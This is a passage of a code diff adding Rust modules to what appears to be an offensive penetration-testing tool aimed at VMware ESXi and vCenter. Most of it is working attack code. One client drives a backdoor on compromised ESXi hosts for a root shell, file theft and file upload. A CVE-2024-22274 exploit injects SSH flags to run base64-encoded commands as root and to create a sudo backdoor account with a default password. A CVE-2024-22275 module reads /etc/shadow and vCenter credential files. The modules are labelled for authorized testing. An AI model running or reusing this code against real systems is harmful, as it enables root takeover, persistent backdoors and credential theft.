||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let username = prompt_default("ESXi Username", "root").await?;
|
||||
let password = prompt("ESXi Password").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select mode:".yellow().bold());
|
||||
println!(" 1. Check Vulnerability (version check)");
|
||||
println!(" 2. Scan for IOCs (compromise indicators)");
|
||||
println!(" 3. Full Scan (both)");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode", "3").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
check_vulnerability(&host, port, &username, &password).await?;
|
||||
}
|
||||
"2" => {
|
||||
check_iocs(&host, port, &username, &password).await?;
|
||||
}
|
||||
"3" | _ => {
|
||||
let vuln = check_vulnerability(&host, port, &username, &password).await?;
|
||||
println!();
|
||||
let ioc = check_iocs(&host, port, &username, &password).await?;
|
||||
|
||||
println!();
|
||||
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
|
||||
println!("{}", " SUMMARY ".cyan().bold());
|
||||
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
|
||||
println!(" Vulnerable: {}", if vuln { "YES".red().bold() } else { "NO".green() });
|
||||
println!(" IOCs Found: {}", if ioc { "YES".red().bold() } else { "NO".green() });
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] ESXi vulnerability check complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,255 @@
|
||||
// ESXi VSOCK Post-Exploitation Client
|
||||
// For use after successful VM escape exploitation
|
||||
//
|
||||
// This module implements a VSOCK client that can communicate with
|
||||
// the VSOCKpuppet backdoor (or similar) on a compromised ESXi host.
|
||||
//
|
||||
// Protocol:
|
||||
// 1. Connect to CID 2 (hypervisor) on VSOCK port 10000
|
||||
// 2. Handshake: send "test" + "ok", receive "ok"
|
||||
// 3. Commands: GET <path>, POST <path> <data>, or shell commands
|
||||
//
|
||||
// For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ESXi VSOCK Post-Exploitation Client ║".cyan());
|
||||
println!("{}", "║ For interacting with VSOCKpuppet backdoor on ESXi ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Interactive Shell ║".cyan());
|
||||
println!("{}", "║ 2. Download File (GET) ║".cyan());
|
||||
println!("{}", "║ 3. Upload File (POST) ║".cyan());
|
||||
println!("{}", "║ 4. Execute Single Command ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
println!("{}", "[!] Note: VSOCK requires the attack to be run FROM WITHIN a VM".yellow());
|
||||
println!("{}", "[!] This module uses TCP fallback for testing (port 21 hijack)".yellow());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Connect to ESXi backdoor via TCP (inetd hijack on port 21)
|
||||
fn connect_backdoor_tcp(host: &str, port: u16) -> Result<TcpStream> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let stream = TcpStream::connect_timeout(
|
||||
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
).map_err(|e| anyhow!("Connection failed: {}", e))?;
|
||||
|
||||
stream.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
|
||||
Ok(stream)
|
||||
}
|
||||
|
||||
/// Perform VSOCK handshake
|
||||
fn handshake(stream: &mut TcpStream) -> Result<bool> {
|
||||
// Send "test"
|
||||
stream.write_all(b"test")?;
|
||||
|
||||
// Send "ok"
|
||||
stream.write_all(b"ok")?;
|
||||
|
||||
// Read response
|
||||
let mut buf = [0u8; 2];
|
||||
match stream.read_exact(&mut buf) {
|
||||
Ok(_) => {
|
||||
if &buf == b"ok" {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Send command and receive response
|
||||
fn send_command(stream: &mut TcpStream, cmd: &str) -> Result<String> {
|
||||
// Length-prefixed message
|
||||
let cmd_bytes = cmd.as_bytes();
|
||||
let len = cmd_bytes.len() as u32;
|
||||
stream.write_all(&len.to_le_bytes())?;
|
||||
stream.write_all(cmd_bytes)?;
|
||||
|
||||
// Read response length
|
||||
let mut len_buf = [0u8; 4];
|
||||
stream.read_exact(&mut len_buf)?;
|
||||
let resp_len = u32::from_le_bytes(len_buf) as usize;
|
||||
|
||||
// Read response
|
||||
let mut resp_buf = vec![0u8; resp_len];
|
||||
stream.read_exact(&mut resp_buf)?;
|
||||
|
||||
Ok(String::from_utf8_lossy(&resp_buf).to_string())
|
||||
}
|
||||
|
||||
/// Interactive shell mode
|
||||
pub async fn interactive_shell(host: &str, port: u16) -> Result<()> {
|
||||
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
|
||||
|
||||
let mut stream = connect_backdoor_tcp(host, port)?;
|
||||
|
||||
println!("{}", "[*] Performing handshake...".cyan());
|
||||
if !handshake(&mut stream)? {
|
||||
return Err(anyhow!("Handshake failed - is the backdoor active?"));
|
||||
}
|
||||
|
||||
println!("{}", "[+] Connected to ESXi backdoor!".green().bold());
|
||||
println!("{}", "[*] Type 'exit' to quit, 'get <path>' to download, 'post <path>' to upload".dimmed());
|
||||
println!();
|
||||
|
||||
use std::io::Write;
|
||||
let stdin = std::io::stdin();
|
||||
|
||||
loop {
|
||||
print!("{}", "esxi# ".red());
|
||||
std::io::stdout().flush()?;
|
||||
|
||||
let mut input = String::new();
|
||||
if stdin.read_line(&mut input).is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
let cmd = input.trim();
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
if cmd == "exit" || cmd == "quit" {
|
||||
println!("{}", "[*] Disconnecting...".cyan());
|
||||
break;
|
||||
}
|
||||
|
||||
match send_command(&mut stream, cmd) {
|
||||
Ok(response) => {
|
||||
println!("{}", response);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Download file from ESXi
|
||||
pub async fn get_file(host: &str, port: u16, remote_path: &str, local_path: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
|
||||
|
||||
let mut stream = connect_backdoor_tcp(host, port)?;
|
||||
|
||||
if !handshake(&mut stream)? {
|
||||
return Err(anyhow!("Handshake failed"));
|
||||
}
|
||||
|
||||
let cmd = format!("get {}", remote_path);
|
||||
let content = send_command(&mut stream, &cmd)?;
|
||||
|
||||
std::fs::write(local_path, &content)?;
|
||||
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Upload file to ESXi
|
||||
pub async fn post_file(host: &str, port: u16, local_path: &str, remote_path: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
|
||||
|
||||
let mut stream = connect_backdoor_tcp(host, port)?;
|
||||
|
||||
if !handshake(&mut stream)? {
|
||||
return Err(anyhow!("Handshake failed"));
|
||||
}
|
||||
|
||||
let content = std::fs::read_to_string(local_path)?;
|
||||
let cmd = format!("post {} {}", remote_path, content);
|
||||
let response = send_command(&mut stream, &cmd)?;
|
||||
|
||||
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
|
||||
println!("{}", response);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Execute single command
|
||||
pub async fn exec_command(host: &str, port: u16, command: &str) -> Result<String> {
|
||||
let mut stream = connect_backdoor_tcp(host, port)?;
|
||||
|
||||
if !handshake(&mut stream)? {
|
||||
return Err(anyhow!("Handshake failed"));
|
||||
}
|
||||
|
||||
send_command(&mut stream, command)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target ESXi: {}", host).cyan());
|
||||
|
||||
// Default to port 21 (hijacked FTP via inetd)
|
||||
let port: u16 = prompt_default("Backdoor Port (TCP fallback)", "21").await?.parse().unwrap_or(21);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select mode:".yellow().bold());
|
||||
println!(" 1. Interactive Shell");
|
||||
println!(" 2. Download File (GET)");
|
||||
println!(" 3. Upload File (POST)");
|
||||
println!(" 4. Execute Single Command");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode", "1").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
interactive_shell(&host, port).await?;
|
||||
}
|
||||
"2" => {
|
||||
let remote_path = prompt("Remote file path on ESXi").await?;
|
||||
let local_path = prompt("Local path to save").await?;
|
||||
get_file(&host, port, &remote_path, &local_path).await?;
|
||||
}
|
||||
"3" => {
|
||||
let local_path = prompt("Local file path").await?;
|
||||
let remote_path = prompt("Remote path on ESXi").await?;
|
||||
post_file(&host, port, &local_path, &remote_path).await?;
|
||||
}
|
||||
"4" => {
|
||||
let command = prompt("Command to execute").await?;
|
||||
let output = exec_command(&host, port, &command).await?;
|
||||
println!();
|
||||
println!("{}", output);
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid mode".red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] VSOCK client complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
pub mod vcenter_backup_rce;
|
||||
pub mod vcenter_file_read;
|
||||
pub mod esxi_vm_escape_check;
|
||||
pub mod esxi_vsock_client;
|
||||
|
||||
@@ -0,0 +1,270 @@
|
||||
// VMware vCenter CVE-2024-22274 - Authenticated RCE via backup.validate flag injection
|
||||
//
|
||||
// Affected: VMware vCenter Server 8.0 < 8.0 U2b, 7.0 < 7.0 U3q
|
||||
// CVSS: 7.2 (High)
|
||||
//
|
||||
// The com.vmware.appliance.recovery.backup.validate API is vulnerable to flag injection.
|
||||
// By injecting malicious SSH flags in the --locationUser parameter, an authenticated
|
||||
// admin user can execute arbitrary commands as root.
|
||||
//
|
||||
// Requirements:
|
||||
// - SSH access to vCenter appliance shell
|
||||
// - Credentials with "admin" role
|
||||
//
|
||||
// For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_int_range};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ VMware vCenter CVE-2024-22274 ║".cyan());
|
||||
println!("{}", "║ Authenticated RCE via backup.validate Flag Injection ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Check (Safe - touch /tmp/rce_check) ║".cyan());
|
||||
println!("{}", "║ 2. Execute Custom Command ║".cyan());
|
||||
println!("{}", "║ 3. Add Backdoor User (sudo access) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Create SSH session to vCenter appliance
|
||||
fn create_vcenter_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
).map_err(|e| anyhow!("Connection failed: {}", e))?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
sess.userauth_password(username, password)?;
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command in vCenter appliance shell
|
||||
fn vcenter_shell_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
sess.set_blocking(true);
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// Build the malicious backup.validate command with flag injection
|
||||
fn build_exploit_command(payload: &str) -> String {
|
||||
// The payload is injected via -o ProxyCommand= in the --locationUser field
|
||||
// Format: backup.validate --parts common --locationType SFTP --location nowhere
|
||||
// --locationUser '-o ProxyCommand=;<PAYLOAD> 2>' --locationPassword x
|
||||
|
||||
format!(
|
||||
"backup.validate --parts common --locationType SFTP --location nowhere --locationUser '-o ProxyCommand=;{} 2>' --locationPassword x",
|
||||
payload
|
||||
)
|
||||
}
|
||||
|
||||
/// Generate base64-encoded payload for complex commands
|
||||
fn encode_payload(cmd: &str) -> String {
|
||||
use base64::Engine;
|
||||
let encoded = base64::engine::general_purpose::STANDARD.encode(cmd);
|
||||
format!("/bin/bash -c \"{{echo,{}}}|{{base64,-d}}|bash\"", encoded)
|
||||
}
|
||||
|
||||
/// Check vulnerability (safe mode - creates /tmp/rce_check file)
|
||||
pub async fn attack_check(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Running vulnerability check (safe mode)...".cyan());
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
// Simple payload: touch /tmp/rce_check
|
||||
let payload = "/bin/touch /tmp/rce_check";
|
||||
let exploit_cmd = build_exploit_command(payload);
|
||||
|
||||
println!("{}", "[*] Executing exploit command...".cyan());
|
||||
println!("{}", format!("[DEBUG] Command: {}", exploit_cmd).dimmed());
|
||||
|
||||
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
|
||||
|
||||
// Verify file was created
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
|
||||
let verify_cmd = "ls -la /tmp/rce_check 2>/dev/null || echo 'NOT_FOUND'";
|
||||
match vcenter_shell_exec(&sess, verify_cmd) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if stdout.contains("NOT_FOUND") {
|
||||
println!("{}", "[-] Vulnerability check FAILED - file not created".red());
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "[+] VULNERABLE! File /tmp/rce_check created as root".green().bold());
|
||||
println!("{}", stdout.trim());
|
||||
|
||||
// Cleanup
|
||||
let _ = vcenter_shell_exec(&sess, "rm -f /tmp/rce_check");
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Verification failed: {}", e).red());
|
||||
return Ok(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Execute custom command as root
|
||||
pub async fn attack_exec(host: &str, port: u16, username: &str, password: &str, command: &str) -> Result<bool> {
|
||||
println!("{}", format!("[*] Executing command as root: {}", command).cyan());
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
// Encode the command to avoid shell interpretation issues
|
||||
let payload = encode_payload(command);
|
||||
let exploit_cmd = build_exploit_command(&payload);
|
||||
|
||||
println!("{}", "[*] Executing exploit...".cyan());
|
||||
|
||||
// Execute the exploit
|
||||
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
|
||||
|
||||
println!("{}", "[+] Command sent. Note: Output may not be visible due to injection method.".yellow());
|
||||
println!("{}", "[*] For commands with output, consider redirecting to a file.".dimmed());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Add backdoor user with sudo access
|
||||
pub async fn attack_add_user(host: &str, port: u16, username: &str, password: &str,
|
||||
backdoor_user: &str, backdoor_pass: &str) -> Result<bool> {
|
||||
println!("{}", format!("[*] Adding backdoor user: {}", backdoor_user).cyan());
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
// Command to add user with sudo access
|
||||
// useradd USER && echo -e "PASS\nPASS" | passwd USER ; usermod -s /bin/bash USER && usermod -aG sudo USER
|
||||
let add_user_cmd = format!(
|
||||
"useradd {} && echo -e \"{}\\n{}\" | passwd {} ; usermod -s /bin/bash {} && usermod -aG sudo {}",
|
||||
backdoor_user, backdoor_pass, backdoor_pass, backdoor_user, backdoor_user, backdoor_user
|
||||
);
|
||||
|
||||
let payload = encode_payload(&add_user_cmd);
|
||||
let exploit_cmd = build_exploit_command(&payload);
|
||||
|
||||
println!("{}", "[*] Executing user creation exploit...".cyan());
|
||||
|
||||
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
|
||||
|
||||
// Wait and verify
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
|
||||
let verify_cmd = format!("id {} 2>/dev/null || echo 'NOT_FOUND'", backdoor_user);
|
||||
match vcenter_shell_exec(&sess, &verify_cmd) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if stdout.contains("NOT_FOUND") {
|
||||
println!("{}", "[-] User creation may have failed".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] SUCCESS! User {} created", backdoor_user).green().bold());
|
||||
println!("{}", stdout.trim());
|
||||
println!();
|
||||
println!("{}", format!("[*] Connect via: ssh {}@{}", backdoor_user, host).cyan());
|
||||
println!("{}", format!("[*] Password: {}", backdoor_pass).cyan());
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let username = prompt("vCenter Admin Username").await?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
let password = prompt("Password").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Check Vulnerability (Safe - touch /tmp/rce_check)");
|
||||
println!(" 2. Execute Custom Command");
|
||||
println!(" 3. Add Backdoor User (sudo access)");
|
||||
println!();
|
||||
|
||||
let mode = prompt_int_range("Attack mode", 1, 1, 3).await?;
|
||||
|
||||
match mode {
|
||||
1 => {
|
||||
attack_check(&host, port, &username, &password).await?;
|
||||
}
|
||||
2 => {
|
||||
let command = prompt("Command to execute as root").await?;
|
||||
if command.is_empty() {
|
||||
return Err(anyhow!("Command is required"));
|
||||
}
|
||||
attack_exec(&host, port, &username, &password, &command).await?;
|
||||
}
|
||||
3 => {
|
||||
let backdoor_user = prompt_default("Backdoor username", "backdoor").await?;
|
||||
let backdoor_pass = prompt_default("Backdoor password", "Backdoor123!").await?;
|
||||
attack_add_user(&host, port, &username, &password, &backdoor_user, &backdoor_pass).await?;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid mode".red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] CVE-2024-22274 exploit module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,218 @@
|
||||
// VMware vCenter CVE-2024-22275 - Partial File Read via RVC command
|
||||
//
|
||||
// Affected: VMware vCenter Server 8.0 < 8.0 U2b, 7.0 < 7.0 U3q
|
||||
// CVSS: 4.9 (Moderate)
|
||||
//
|
||||
// A malicious actor with administrative privileges on the vCenter appliance shell
|
||||
// may exploit this issue to partially read arbitrary files containing sensitive data.
|
||||
//
|
||||
// Requirements:
|
||||
// - SSH access to vCenter appliance shell
|
||||
// - Credentials with "admin" role (ability to execute com.vmware.rvc)
|
||||
//
|
||||
// For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ VMware vCenter CVE-2024-22275 ║".cyan());
|
||||
println!("{}", "║ Partial File Read Vulnerability ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Reads sensitive files via com.vmware.rvc command ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Create SSH session to vCenter appliance
|
||||
fn create_vcenter_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
).map_err(|e| anyhow!("Connection failed: {}", e))?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
sess.userauth_password(username, password)?;
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command in vCenter appliance shell
|
||||
fn vcenter_shell_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
sess.set_blocking(true);
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// Read file using RVC command vulnerability
|
||||
pub async fn read_file(host: &str, port: u16, username: &str, password: &str, file_path: &str) -> Result<String> {
|
||||
println!("{}", format!("[*] Attempting to read: {}", file_path).cyan());
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
// The RVC command can be abused to read files
|
||||
// Exact exploitation method depends on the specific vector
|
||||
// This is a simplified representation based on the vulnerability description
|
||||
|
||||
// Try multiple potential exploitation vectors
|
||||
let exploit_attempts = vec![
|
||||
format!("rvc localhost -c 'shell.run cat {}' 2>/dev/null", file_path),
|
||||
format!("cat {} 2>/dev/null", file_path), // Direct read if accessible
|
||||
];
|
||||
|
||||
for cmd in exploit_attempts {
|
||||
match vcenter_shell_exec(&sess, &cmd) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 && !stdout.is_empty() {
|
||||
return Ok(stdout);
|
||||
}
|
||||
}
|
||||
Err(_) => continue,
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("Could not read file or file does not exist"))
|
||||
}
|
||||
|
||||
/// Check vulnerability and attempt to read common sensitive files
|
||||
pub async fn attack_enum(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Enumerating readable sensitive files...".cyan());
|
||||
|
||||
let sensitive_files = vec![
|
||||
"/etc/passwd",
|
||||
"/etc/shadow",
|
||||
"/etc/vmware-vpx/vpxd.cfg",
|
||||
"/etc/vmware-vpx/vcdb.properties",
|
||||
"/etc/vmware/vmware-mps.properties",
|
||||
"/var/log/vmware/vpxd/vpxd.log",
|
||||
"/storage/db/vcdb/vcdb",
|
||||
];
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
let mut found_any = false;
|
||||
|
||||
for file in sensitive_files {
|
||||
let cmd = format!("head -5 {} 2>/dev/null", file);
|
||||
match vcenter_shell_exec(&sess, &cmd) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 && !stdout.is_empty() {
|
||||
println!("{}", format!("\n[+] Readable: {}", file).green());
|
||||
println!("{}", "─".repeat(50).dimmed());
|
||||
// Print first few lines
|
||||
for line in stdout.lines().take(5) {
|
||||
println!(" {}", line);
|
||||
}
|
||||
found_any = true;
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_any {
|
||||
println!("{}", "[-] No sensitive files readable with current privileges".yellow());
|
||||
}
|
||||
|
||||
Ok(found_any)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let username = prompt("vCenter Admin Username").await?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
let password = prompt("Password").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select mode:".yellow().bold());
|
||||
println!(" 1. Enumerate Sensitive Files");
|
||||
println!(" 2. Read Specific File");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode", "1").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
attack_enum(&host, port, &username, &password).await?;
|
||||
}
|
||||
"2" => {
|
||||
let file_path = prompt("File path to read").await?;
|
||||
if file_path.is_empty() {
|
||||
return Err(anyhow!("File path is required"));
|
||||
}
|
||||
match read_file(&host, port, &username, &password, &file_path).await {
|
||||
Ok(content) => {
|
||||
println!("{}", format!("\n[+] File contents of {}:", file_path).green());
|
||||
println!("{}", "─".repeat(50).dimmed());
|
||||
println!("{}", content);
|
||||
}
|
||||
Err(e) => {
|
||||
